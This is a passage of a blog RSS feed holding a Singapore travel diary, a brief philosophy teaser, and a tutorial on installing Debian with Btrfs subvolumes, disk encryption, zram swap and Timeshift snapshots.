To have something, you just need to buy it from one of the shops and find a table. After you are done, you need to put your tray in the tray-collecting spots. I had a kaya toast with chai, since there weren’t many vegetarian options. I also bought a persimmon from a nearby fruit vendor. On the other hand, Badri sampled some local non-vegetarian dishes.

      
Table littering at the hawker center was prohibited by law. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Next, we took a metro to Raffles Place, as we wanted to visit Merlion, the icon of Singapore. It is a statue having the head of a lion and the body of a fish. While getting through the AFC gates, my card was declined. Therefore, I had to buy an EZ-Link card, which I had been avoiding because the card itself costs 5 Singapore dollars.
From the Raffles Place metro station, we walked to Merlion. The place also gave a nice view of Marina Bay Sands. It was filled with tourists clicking pictures, and we also did the same.

      
Merlion from behind, giving a good view of Marina Bay Sands. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
After this, we went to the bus stop to catch our bus to the border city of Johor Bahru, Malaysia. The bus was more than an hour late, and we worried that we had missed the bus. I asked an Indian woman at the stop who also planned to take the same bus, and she told us that the bus was late. Finally, our bus arrived, and we set off for Johor Bahru.
Before I finish, let me give you an idea of my expenditure. Singapore is an expensive country, and I realized that expenses could go up pretty quickly. Overall, my stay in Singapore for 3 days and 2 nights was approx. 5500 rupees. That too, when we stayed one night at Badri’s aunt’s place (so we didn’t have to pay for accomodation for one of the nights) and didn’t have to pay for a couple of meals. This amount doesn’t include the ticket for the chess game, but includes the costs of getting there. If you are in Singapore, it is likely you will pay a visit to Sentosa Island anyway.
Stay tuned for our experiences in Malaysia!
Credits: Thanks to Dione, Sahil, Badri and Contrapunctus for reviewing the draft. Thanks to Bhe for spotting a duplicate sentence.]]></description>
            <content:encoded><![CDATA[<p>In December 2024, I went on a trip through four countries - Singapore, Malaysia, Brunei, and Vietnam - with my friend <a href="https://badrihippo.thekambattu.rocks/">Badri</a>. This post covers our experiences in Singapore.</p>
<p>I took an IndiGo flight from Delhi to Singapore, with a layover in Chennai. At the Chennai airport, I was joined by Badri. We had an early morning flight from Chennai that would land in Singapore in the afternoon. Within 48 hours of our scheduled arrival in Singapore, we submitted an arrival card online. At immigration, we simply needed to scan our passports at the gates, which opened automatically to let us through, and then give our address to an official nearby. The process was quick and smooth, but it unfortunately meant that we didn’t get our passports stamped by Singapore.</p>
<p>Before I left the airport, I wanted to visit the nature-themed park with a fountain I saw in pictures online. It is called Jewel Changi, and it took quite some walking to get there. After reaching the park, we saw a fountain that could be seen from all the levels. We roamed around for a couple of hours, then proceeded to the airport metro station to get to our hotel.</p>
<figure><img src="https://ravidwivedi.in/images/singapore/jewel-changi.avif"
    alt="Jewel Changi"><figcaption>
      <p>A shot of Jewel Changi. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>There were four ATMs on the way to the metro station, but none of them provided us with any cash. This was the first country (outside India, of course!) where my card didn’t work at ATMs.</p>
<p>To use the metro, one can tap the EZ-Link card or bank cards at the AFC gates to get in. You cannot buy tickets using cash. Before boarding the metro, I used my credit card to get Badri an EZ-Link card from a vending machine. It was 10 Singapore dollars (₹630) - 5 for the card, and 5 for the balance. I had planned to use my Visa credit card to pay for my own fare. I was relieved to see that my card worked, and I passed through the AFC gates.</p>
<p>We had booked our stay at a hostel named Campbell’s Inn, which was the cheapest we could find in Singapore. It was ₹1500 per night for dorm beds. The hostel was located in Little India. While Little India has an eponymous metro station, the one closest to our hostel was Rochor.</p>
<p>On the way to the hostel, we found out that our booking had been canceled.</p>
<p>We had booked from the Hostelworld website, opting to pay the deposit in advance and to pay the balance amount in person upon reaching. However, Hostelworld still tried to charge Badri&rsquo;s card again before our arrival. When the unauthorized charge failed, they sent an automatic message saying &ldquo;we tried to charge&rdquo; and to contact them soon to avoid cancellation, which we couldn&rsquo;t do as we were in the plane.</p>
<p>Despite this, we went to the hostel to check the status of our booking.</p>
<p>The trip from the airport to Rochor required a couple of transfers. It was 2 Singapore dollars (approx. ₹130) and took approximately an hour.</p>
<p>Upon reaching the hostel, we were informed that our booking had indeed been canceled, and were not given any reason for the cancelation. Furthermore, no beds were available at the hostel for us to book on the spot.</p>
<p>We decided to roam around and look for accommodation at other hostels in the area. Soon, we found a hostel by the name of Snooze Inn, which had two beds available. It was 36 Singapore dollars per person (around ₹2300) for a dormitory bed. Snooze Inn advertised supporting RuPay cards and UPI. Some other places in that area did the same. We paid using my card. We checked in and slept for a couple of hours after taking a shower.</p>
<p>By the time we woke up, it was dark. We met Praveen’s friend Sabeel to get my FLX1 phone. We also went to Mustafa Center nearby to exchange Indian rupees for Singapore dollars. Mustafa Center also had a shopping center with shops selling electronic items and souvenirs, among other things. When we were dropping off Sabeel at a bus stop, we discovered that the bus stops in Singapore had a digital board mentioning the bus routes for the stop and the number of minutes each bus was going to take.</p>
<p>In addition to an organized bus system, Singapore had good pedestrian infrastructure. There were traffic lights and zebra crossings for pedestrians to cross the roads. Unlike in Indian cities, rules were being followed. Cars would stop for pedestrians at unmanaged zebra crossings; pedestrians would in turn wait for their crossing signal to turn green before attempting to walk across. Therefore, walking in Singapore was easy.</p>
<p>Traffic rules were taken so seriously in Singapore I (as a pedestrian) was afraid of unintentionally breaking them, which could get me in trouble, as breaking rules is dealt with heavy fines in the country. For example, crossing roads without using a marked crossing (while being within 50 meters of it) - also known as jaywalking - is an offence in Singapore.</p>
<p>Moreover, the streets were litter-free, and cleanliness seemed like an obsession.</p>
<p>After exploring Mustafa Center, we went to a nearby 7-Eleven to top up Badri&rsquo;s EZ-Link card. He gave 20 Singapore dollars for the recharge, which credited the card by 19.40 Singapore dollars (0.6 dollars being the recharge fee).</p>
<p>When I was planning this trip, I discovered that the World Chess Championship match was being held in Singapore. I seized the opportunity and bought a ticket in advance. The next day - the 5th of December - I went to watch the 9th game between Gukesh Dommaraju of India and Ding Liren of China. The venue was a hotel on Sentosa Island, and the ticket was 70 Singapore dollars, which was around ₹4000 at the time.</p>
<p>We checked out from our hostel in the morning, as we were planning to stay with Badri’s aunt that night. We had breakfast at a place in Little India. Then we took a couple of buses, followed by a walk to Sentosa Island. Paying the fare for the buses was similar to the metro - I tapped my credit card in the bus, while Badri tapped his EZ-Link card. We also had to tap it while getting off.</p>
<p>If you are tapping your credit card to use public transport in Singapore, keep in mind that the total amount of all the trips taken on a day is deducted at the end. This makes it hard to determine the cost of individual trips. For example, I could take a bus and get off after tapping my card, but I would have no way to determine how much this journey cost.</p>
<p>When you tap in, the maximum fare amount gets deducted. When you tap out, the balance amount gets refunded (if it’s a shorter journey than the maximum fare one). So, there is incentive for passengers not to get off without tapping out. Going by your card statement, it looks like all that happens virtually, and only one statement comes in at the end. Maybe this combining only happens for international cards.</p>
<p>We got off the bus a kilometer away from Sentosa Island and walked the rest of the way. We went on the Sentosa Boardwalk, which is itself a tourist attraction. I was using Organic Maps to navigate to the hotel Resorts World Sentosa, but Organic Maps’ route led us through an amusement park. I tried asking the locals (people working in shops) for directions, but it was a Chinese-speaking region, and they didn’t understand English. Fortunately, we managed to find a local who helped us with the directions.</p>
<figure><img src="https://ravidwivedi.in/images/singapore/sentosa-boardwalk.avif"
    alt="Sentosa Boardwalk"><figcaption>
      <p>A shot of Sentosa Boardwalk. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Following the directions, we somehow ended up having to walk on a road which did not have pedestrian paths. Singapore is a country with strict laws, so we did not want to walk on that road. Avoiding that road led us to the Michael Hotel. There was a person standing at the entrance, and I asked him for directions to Resorts World Sentosa. The person told me that the bus (which was standing at the entrance) would drop me there! The bus was a free service for getting to Resorts World Sentosa. Here I parted ways with Badri, who went to his aunt’s place.</p>
<p>I got to the Resorts Sentosa and showed my ticket to get in. There were two zones inside - the first was a room with a glass wall separating the audience and the players. This was the room to watch the game physically, and resembled a zoo or an aquarium. :) The room was also a silent room, which means talking or making noise was prohibited. Audiences were only allowed to have mobile phones for the first 30 minutes of the game - since I arrived late, I could not bring my phone inside that room.</p>
<p>The other zone was outside this room. It had a big TV on which the game was being broadcast along with commentary by David Howell and Jovanka Houska - the official FIDE commentators for the event. If you don&rsquo;t already know, FIDE is the authoritative international chess body.</p>
<p>I spent most of the time outside that silent room, giving me an opportunity to socialize. A lot of people were from Singapore. I saw there were many Indians there as well. Moreover, I had a good time with Vasudevan, a journalist from Tamil Nadu who was covering the match. He also asked questions to Gukesh during the post-match conference. His questions were in Tamil to lift Gukesh’s spirits, as Gukesh is a Tamil speaker.</p>
<p>Tea and coffee were free for the audience. I also bought a T-shirt from their stall as a souvenir.</p>
<p>After the game, I took a shuttle bus from Resorts World Sentosa to a metro station, then travelled to Pasir Ris by metro, where Badri was staying with his aunt. I thought of getting something to eat, but could not find any cafés or restaurants while I was walking from the Pasir Ris metro station to my destination, and was positively starving when I got there.</p>
<p>Badri&rsquo;s aunt&rsquo;s place was an apartment in a gated community. On the gate was a security guard who asked me the address of the apartment. Upon entering, there were many buildings. To enter the building, you need to dial the number of the apartment you want to go to and speak to them. I had seen that in the TV show Seinfeld, where Jerry&rsquo;s friends used to dial Jerry to get into his building.</p>
<p>I was afraid they might not have anything to eat because I told them I was planning to get something on the way. This was fortunately not the case, and I was relieved to not have to sleep with an empty stomach.</p>
<p>Badri&rsquo;s uncle gave us an idea of how safe Singapore is. He said that even if you forget your laptop in a public space, you can go back the next day to find it right there in the same spot. I also learned that owning cars was discouraged in Singapore - the government imposes a high registration fee on them, while also making public transport easy to use and affordable. I also found out that 7-Eleven was not that popular among residents in Singapore, unlike in Malaysia or Thailand.</p>
<p>The next day was our third and final day in Singapore. We had a bus in the evening to Johor Bahru in Malaysia. We got up early, had breakfast, and checked out from Badri’s aunt’s home. A store by the name of Cat Socrates was our first stop for the day, as Badri wanted to buy some stationery. The plan was to take the metro, followed by the bus. So we got to Pasir Ris metro station. Next to the metro station was a mall. In the mall, Badri found an ATM where our cards worked, and we got some Singapore dollars.</p>
<p>It was noon when we reached the stationery shop mentioned above. We had to walk a kilometer from the place where the bus dropped us. It was a hot, sunny day in Singapore, so walking was not comfortable. We had to go through residential areas in Singapore. We saw some non-touristy parts of Singapore.</p>
<p>After we were done with the stationery shop, we went to a hawker center to get lunch. Hawker centers are unique to Singapore. They have a lot of shops that sell local food at cheap prices. It is similar to a food court. However, unlike the food courts in malls, hawker centers are open-air and can get quite hot.</p>
<figure><img src="https://ravidwivedi.in/images/singapore/hawker-center.avif"
    alt="Jewel Changi"><figcaption>
      <p>This is the hawker center we went to. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>To have something, you just need to buy it from one of the shops and find a table. After you are done, you need to put your tray in the tray-collecting spots. I had a kaya toast with chai, since there weren’t many vegetarian options. I also bought a persimmon from a nearby fruit vendor. On the other hand, Badri sampled some local non-vegetarian dishes.</p>
<figure><img src="https://ravidwivedi.in/images/singapore/no-littering-sign.avif"
    alt="A sign saying, &#39;No table littering, by law.&#39;"><figcaption>
      <p>Table littering at the hawker center was prohibited by law. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>Next, we took a metro to Raffles Place, as we wanted to visit Merlion, the icon of Singapore. It is a statue having the head of a lion and the body of a fish. While getting through the AFC gates, my card was declined. Therefore, I had to buy an EZ-Link card, which I had been avoiding because the card itself costs 5 Singapore dollars.</p>
<p>From the Raffles Place metro station, we walked to Merlion. The place also gave a nice view of Marina Bay Sands. It was filled with tourists clicking pictures, and we also did the same.</p>
<figure><img src="https://ravidwivedi.in/images/singapore/merlion.avif"
    alt="Merlion from behind"><figcaption>
      <p>Merlion from behind, giving a good view of Marina Bay Sands. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</p>
    </figcaption>
</figure>

<p>After this, we went to the bus stop to catch our bus to the border city of Johor Bahru, Malaysia. The bus was more than an hour late, and we worried that we had missed the bus. I asked an Indian woman at the stop who also planned to take the same bus, and she told us that the bus was late. Finally, our bus arrived, and we set off for Johor Bahru.</p>
<p>Before I finish, let me give you an idea of my expenditure. Singapore is an expensive country, and I realized that expenses could go up pretty quickly. Overall, my stay in Singapore for 3 days and 2 nights was approx. 5500 rupees. That too, when we stayed one night at Badri’s aunt’s place (so we didn&rsquo;t have to pay for accomodation for one of the nights) and didn’t have to pay for a couple of meals. This amount doesn’t include the ticket for the chess game, but includes the costs of getting there. If you are in Singapore, it is likely you will pay a visit to Sentosa Island anyway.</p>
<p>Stay tuned for our experiences in Malaysia!</p>
<p><strong>Credits: Thanks to Dione, <a href="https://sahilister.in">Sahil</a>, <a href="https://badrihippo.thekambattu.rocks/">Badri</a> and <a href="https://contrapunctus.codeberg.page">Contrapunctus</a> for reviewing the draft. Thanks to Bhe for spotting a duplicate sentence.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Emptiness]]></title>
            <link>https://www.prashanthudupa.com/emptiness/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/emptiness/</guid>
            <pubDate>Sun, 14 Sep 2025 17:02:09 GMT</pubDate>
            <description><![CDATA[When I take a close look at anything, it seems to dissolve and eventually disappear. Behind everything, there is just emptiness. There is no solid stuff. It’s all empty. I understand that this can be a lot to take all at once. Let’s unpack it gently. What does ’empty’ mean? The word “empty” means exactly […]]]></description>
            <content:encoded><![CDATA[When I take a close look at anything, it seems to dissolve and eventually disappear. Behind everything, there is just emptiness. There is no solid stuff. It&#8217;s all empty. I understand that this can be a lot to take all at once. Let&#8217;s unpack it gently. What does &#8217;empty&#8217; mean? The word &#8220;empty&#8221; means exactly [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Installing Debian With Btrfs and Encryption]]></title>
            <link>https://ravidwivedi.in/posts/installing-debian-with-btrfs-and-encryption/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/installing-debian-with-btrfs-and-encryption/</guid>
            <pubDate>Fri, 29 Aug 2025 20:23:11 GMT</pubDate>
            <description><![CDATA[Motivation
On the 8th of August 2025 (a day before the Debian Trixie release), I was upgrading my personal laptop from Debian Bookworm to Trixie. It was a major update. However, the update didn’t go smoothly, and I ran into some errors. From the Debian support IRC channel, I got to know that it would be best if I removed the texlive packages.
However, it was not so easy to just remove texlive with a simple apt remove command. I had to remove the texlive packages from /usr/bin. Then I ran into other errors. Hours after I started the upgrade, I realized I preferred having my system as it was before, as I had to travel to Noida the next day. Needless to say, I wanted to go to sleep rather than fix my broken system. Only if I had a way to go back to my system before I started upgrading, it would have saved a lot of trouble for me. I ended up installing Trixie from scratch.
It turns out that there was a way to recover to the state before the upgrade - using Timeshift to roll back the system to a state (in our example, it is the state before the upgrade process started) in the past. However, it needs the Btrfs filesystem with appropriate subvolumes, not provided by Debian installer in their guided partitioning menu.
I have set it up after a few weeks of the above-mentioned incident. Let me demonstrate how it works.



Check the screenshot above. It shows a list of snapshots made by Timeshift. Some of them were made by me manually. Others were made by Timeshift automatically as per the routine - I have set up hourly backups and weekly backups etc.
In the above-mentioned major update, I could have just taken a snapshot using Timeshift before performing the upgrade and could have rolled back to that snapshot when I found that I cannot spend more time on fixing my installation errors. Then I could just perform the upgrade later.
Installation
In this tutorial, I will cover how I installed Debian with Btrfs and disk encryption, along with creating subvolumes @ for root and @home for /home so that I can use Timeshift to create snapshots. These snapshots are kept on the same disk where Debian is installed, and the use-case is to roll back to a working system in case I mess up something or to recover an accidentally deleted file.
I went through countless tutorials on the Internet, but I didn’t find a single tutorial covering both the disk encryption and the above-mentioned subvolumes (on Debian). Debian doesn’t create the desired subvolumes by default, therefore the process requires some manual steps, which beginners may not be comfortable performing. Beginners can try distros such as Fedora and Linux Mint, as their installation includes Btrfs with the required subvolumes.
Furthermore, it is pertinent to note that I used Debian Trixie’s DVD iso on a real laptop (not a virtual machine) for my installation. Debian Trixie is the codename for the current stable version of Debian. Then I took screenshots in a virtual machine by repeating the process. Moreover, a couple of screenshots are from the installation I did on the real laptop.
Let’s start the tutorial by booting up the Debian installer.



The above screenshot shows the first screen we see on the installer. Since we want to choose Expert Install, we select Advanced Options in the screenshot above.



Let’s select the Expert Install option in the above screenshot. It is because we want to create subvolumes after the installer is done with the partition, and only then proceed to installing the base system. “Non-expert” install modes proceed directly to installing the system right after creating partitions without pausing for us to create the subvolumes.



After selecting the Expert Install option, you will get the screen above. I will skip to partitioning from here and leave the intermediate steps such as choosing language, region, connecting to Wi-Fi, etc. For your reference, I did create the root user.



Let’s jump right to the partitioning step. Select the Partition disks option from the menu as shown above.



Choose Manual.



Select your disk where you would like to install Debian.



Select Yes when asked for creating a new partition.



I chose the msdos option as I am not using UEFI. If you are using UEFI, then you need to choose the gpt option. Also, your steps will (slightly) differ from mine if you are using UEFI. In that case, you can watch this video by the YouTube channel EF Linux in which he creates an EFI partition. As he doesn’t cover disk encryption, you can continue reading this post after following the steps corresponding to EFI.



Select the free space option as shown above.



Choose Create a new partition.



I chose the partition size to be 1 GB.



Choose Primary.



Choose Beginning.



Now, I got to this screen.



I changed mount point to /boot and turned on the bootable flag and then selected “Done setting up the partition.”



Now select free space.



Choose the Create a new partition option.



I made the partition size equal to the remaining space on my disk. I do not intend to create a swap partition, so I do not need more space.



Select Primary.



Select the Use as option to change its value.



Select “physical volume for encryption.”



Select Done setting up the partition.



Now select “Configure encrypted volumes.”



Select Yes.



Select Finish.



Selecting Yes will take a lot of time to erase the data. Therefore, I would say if you have hours for this step (in case your SSD is like 1 TB), then I would recommend selecting “Yes.” Otherwise, you could select “No” and compromise on the quality of encryption.
After this, you will be asked to enter a passphrase for disk encryption and confirm it. Please do so. I forgot to take the screenshot for that step.



Now select that encrypted volume as shown in the screenshot above.



Here we will change a couple of options which will be shown in the next screenshot.



In the Use as menu, select “btrfs journaling file system.”



Now, click on the mount point option.



Change it to “/ - the root file system.”



Select Done setting up the partition.



This is a preview of the paritioning after performing the above-mentioned steps.



If everything is okay, proceed with the Finish partitioning and write changes to disk option.



The installer is reminding us to create a swap partition. I proceeded without it as I planned to add swap after the installation.



If everything looks fine, choose “yes” for writing the changes to disks.



Now we are done with partitioning and we are shown the screen in the screenshot above. If we had not selected the Expert Install option, the installer would have proceeded to install the base system without asking us.
However, we want to create subvolumes before proceeding to install the base system. This is the reason we chose Expert Install.
Now press Ctrl + F2.



You will see the screen as in the above screenshot. It says “Please press Enter to activate this console.” So, let’s press Enter.



After pressing Enter, we see the above screen.



The screenshot above shows the steps I performed in the console. I followed the already mentioned video by EF Linux for this part and adapted it to my situation (he doesn’t encrypt the disk in his tutorial).
First we run df -h to have a look at how our disk is partitioned. In my case, the output was:
# df -h
Filesystem              Size  Used  Avail   Use% Mounted on
tmpfs                   1.6G  344.0K  1.6G    0% /run
devtmpfs                7.7G       0  7.7G   0% /dev
/dev/sdb1               3.7G    3.7G    0   100% /cdrom
/dev/mapper/sda2_crypt  952.9G  5.8G  950.9G  0% /target
/dev/sda1               919.7M  260.0K  855.8M  0% /target/boot

df -h shows us that /dev/mapper/sda2_crypt and /dev/sda1 are mounted on /target and /target/boot respectively.
Let’s unmount them. For that, we run:
# umount /target
# umount /target/boot

Next, let’s mount our root filesystem to /mnt.
# mount /dev/mapper/sda2_crypt /mnt

Let’s go into the /mnt directory.
# cd /mnt

Upon listing the contents of this directory, we get:
/mnt # ls
@rootfs

Debian installer has created a subvolume @rootfs automatically. However, we need the subvolumes to be @ and @home. Therefore, let’s rename the @rootfs subvolume to @.
/mnt # mv @rootfs @

Listing the contents of the directory again, we get:
/mnt # ls
@

We only one subvolume right now. Therefore, let us go ahead and create another subvolume @home.
/mnt # btrfs subvolume create @home
Create subvolume './@home'

If we perform ls now, we will see there are two subvolumes:
/mnt # ls
@ @home

Let us mount /dev/mapper/sda2_crypt to /target
/mnt # mount -o noatime,space_cache=v2,compress=zstd,ssd,discard=async,subvol=@ /dev/mapper/sda2_crypt /target/

Now we need to create a directory for /home.
/mnt # mkdir /target/home/

Now we mount the /home directory with subvol=@home option.
/mnt # mount -o noatime,space_cache=v2,compress=zstd,ssd,discard=async,subvol=@home /dev/mapper/sda2_crypt /target/home/

Now mount /dev/sda1 to /target/boot.
/mnt # mount /dev/sda1 /target/boot/

Now we need to add these options to the fstab file, which is located at /target/etc/fstab. Unfortunately, vim is not installed in this console. The only way to edit is Nano.
nano /target/etc/fstab




Edit your fstab file to look similar to the one in the screenshot above. I am pasting the fstab file contents below for easy reference.
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# systemd generates mount units based on this file, see systemd.mount(5).
# Please run 'systemctl daemon-reload' after making changes here.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
/dev/mapper/sda2_crypt /        btrfs   noatime,compress=zstd,ssd,discard=async,space_cache=v2,subvol=@ 0       0
/dev/mapper/sda2_crypt /home    btrfs   noatime,compress=zstd,ssd,discard=async,space_cache=v2,subvol=@home 0       0
# /boot was on /dev/sda1 during installation
UUID=12842b16-d3b3-44b4-878a-beb1e6362fbc /boot           ext4    defaults        0       2
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0

Please double check the fstab file before saving it. In Nano, you can press Ctrl+O followed by pressing Enter to save the file. Then press Ctrl+X to quit Nano. Now, preview the fstab file by running
cat /target/etc/fstab

and verify that the entries are correct, otherwise you will booted to an unusable and broken system after the installation is complete.
Next, press Ctrl + Alt + F1 to go back to the installer.



Proceed to “Install the base system.”

      
Screenshot of Debian installer installing the base system.



I chose the default option here - linux-image-amd64.
After this, the installer will ask you a few more questions. For desktop environment, I chose KDE Plasma. You can choose the desktop environment as per your liking. I will not cover the rest of the installation process and assume that you were able to install from here.
Post installation
Let’s jump to our freshly installed Debian system. Since I created a root user, I added the user ravi to the suoders file (/etc/sudoers) so that ravi can run commands with sudo. Follow this if you would like to do the same.
Now we set up zram as swap. First, install zram-tools.
sudo apt install zram-tools

Now edit the file /etc/default/zramswap and make sure to have the following lines are uncommented:
ALGO=lz4
PERCENT=50

Now, run
sudo systemctl restart zramswap

If you run lsblk now, you should see the below-mentioned entry in the output:
zram0          253:0    0   7.8G  0 disk  [SWAP]

This shows us that zram has been activated as swap.
Now we install timeshift, which can be done by running
sudo apt install timeshift

After the installation is complete, run Timeshift and schedule snapshots as you please. We are done now. Hope the tutorial was helpful.
See you in the next post and let me know if you have any suggestions and questions on this tutorial.]]></description>
            <content:encoded><![CDATA[<h2 id="motivation">Motivation</h2>
<p>On the 8th of August 2025 (a day before the Debian Trixie release), I was upgrading my personal laptop from Debian Bookworm to Trixie. It was a major update. However, the update didn&rsquo;t go smoothly, and I ran into some errors. From the Debian support IRC channel, I got to know that it would be best if I removed the <code>texlive</code> packages.</p>
<p>However, it was not so easy to just remove texlive with a simple <code>apt remove</code> command. I had to remove the <code>texlive</code> packages from <code>/usr/bin</code>. Then I ran into other errors. Hours after I started the upgrade, I realized I preferred having my system as it was before, as I had to travel to Noida the next day. Needless to say, I wanted to go to sleep rather than fix my broken system. Only if I had a way to go back to my system before I started upgrading, it would have saved a lot of trouble for me. I ended up installing Trixie from scratch.</p>
<p>It turns out that there was a way to recover to the state before the upgrade - using Timeshift to roll back the system to a state (in our example, it is the state before the upgrade process started) in the past. However, it needs the Btrfs filesystem with appropriate subvolumes, not provided by Debian installer in their guided partitioning menu.</p>
<p>I have set it up after a few weeks of the above-mentioned incident. Let me demonstrate how it works.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/timeshift-01.png">
</figure>

<p>Check the screenshot above. It shows a list of snapshots made by Timeshift. Some of them were made by me manually. Others were made by Timeshift automatically as per the routine - I have set up hourly backups and weekly backups etc.</p>
<p>In the above-mentioned major update, I could have just taken a snapshot using Timeshift before performing the upgrade and could have rolled back to that snapshot when I found that I cannot spend more time on fixing my installation errors. Then I could just perform the upgrade later.</p>
<h2 id="installation">Installation</h2>
<p>In this tutorial, I will cover how I installed Debian with Btrfs and disk encryption, along with creating subvolumes @ for root and @home for /home so that I can use Timeshift to create snapshots. These snapshots are kept on the same disk where Debian is installed, and the use-case is to roll back to a working system in case I mess up something or to recover an accidentally deleted file.</p>
<p>I went through countless tutorials on the Internet, but I didn&rsquo;t find a single tutorial covering both the disk encryption and the above-mentioned subvolumes (on Debian). Debian doesn&rsquo;t create the desired subvolumes by default, therefore the process requires some manual steps, which beginners may not be comfortable performing. Beginners can try distros such as Fedora and Linux Mint, as their installation includes Btrfs with the required subvolumes.</p>
<p>Furthermore, it is pertinent to note that I used Debian Trixie&rsquo;s DVD iso on a real laptop (not a virtual machine) for my installation. Debian Trixie is the codename for the current stable version of Debian. Then I took screenshots in a virtual machine by repeating the process. Moreover, a couple of screenshots are from the installation I did on the real laptop.</p>
<p>Let&rsquo;s start the tutorial by booting up the Debian installer.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/01.png">
</figure>

<p>The above screenshot shows the first screen we see on the installer. Since we want to choose Expert Install, we select Advanced Options in the screenshot above.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/02.png">
</figure>

<p>Let&rsquo;s select the Expert Install option in the above screenshot. It is because we want to create subvolumes after the installer is done with the partition, and only then proceed to installing the base system. &ldquo;Non-expert&rdquo; install modes proceed directly to installing the system right after creating partitions without pausing for us to create the subvolumes.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/03.png">
</figure>

<p>After selecting the Expert Install option, you will get the screen above. I will skip to partitioning from here and leave the intermediate steps such as choosing language, region, connecting to Wi-Fi, etc. For your reference, I did create the root user.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/04.png">
</figure>

<p>Let&rsquo;s jump right to the partitioning step. Select the Partition disks option from the menu as shown above.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/05.png">
</figure>

<p>Choose Manual.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/06.png">
</figure>

<p>Select your disk where you would like to install Debian.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/07.png">
</figure>

<p>Select Yes when asked for creating a new partition.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/08.png">
</figure>

<p>I chose the msdos option as I am not using UEFI. If you are using UEFI, then you need to choose the gpt option. Also, your steps will (slightly) differ from mine if you are using UEFI. In that case, you can watch <a href="https://yewtu.be/watch?v=_i_InuWyfQE">this video</a> by the YouTube channel EF Linux in which he creates an EFI partition. As he doesn&rsquo;t cover disk encryption, you can continue reading this post after following the steps corresponding to EFI.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/09.png">
</figure>

<p>Select the free space option as shown above.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/10.png">
</figure>

<p>Choose Create a new partition.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/11.png">
</figure>

<p>I chose the partition size to be 1 GB.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/12.png">
</figure>

<p>Choose Primary.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/13.png">
</figure>

<p>Choose Beginning.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/14.png">
</figure>

<p>Now, I got to this screen.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/15.png">
</figure>

<p>I changed mount point to <code>/boot</code> and turned on the bootable flag and then selected &ldquo;Done setting up the partition.&rdquo;</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/16.png">
</figure>

<p>Now select free space.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/17.png">
</figure>

<p>Choose the Create a new partition option.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/18.png">
</figure>

<p>I made the partition size equal to the remaining space on my disk. I do not intend to create a swap partition, so I do not need more space.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/19.png">
</figure>

<p>Select Primary.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/20.png">
</figure>

<p>Select the Use as option to change its value.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/21.png">
</figure>

<p>Select &ldquo;physical volume for encryption.&rdquo;</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/22.png">
</figure>

<p>Select Done setting up the partition.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/23.png">
</figure>

<p>Now select &ldquo;Configure encrypted volumes.&rdquo;</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/24.png">
</figure>

<p>Select Yes.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/25.png">
</figure>

<p>Select Finish.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/26.png">
</figure>

<p>Selecting Yes will take a lot of time to erase the data. Therefore, I would say if you have hours for this step (in case your SSD is like 1 TB), then I would recommend selecting &ldquo;Yes.&rdquo; Otherwise, you could select &ldquo;No&rdquo; and compromise on the quality of encryption.</p>
<p>After this, you will be asked to enter a passphrase for disk encryption and confirm it. Please do so. I forgot to take the screenshot for that step.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/27.png">
</figure>

<p>Now select that encrypted volume as shown in the screenshot above.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/28.png">
</figure>

<p>Here we will change a couple of options which will be shown in the next screenshot.</p>
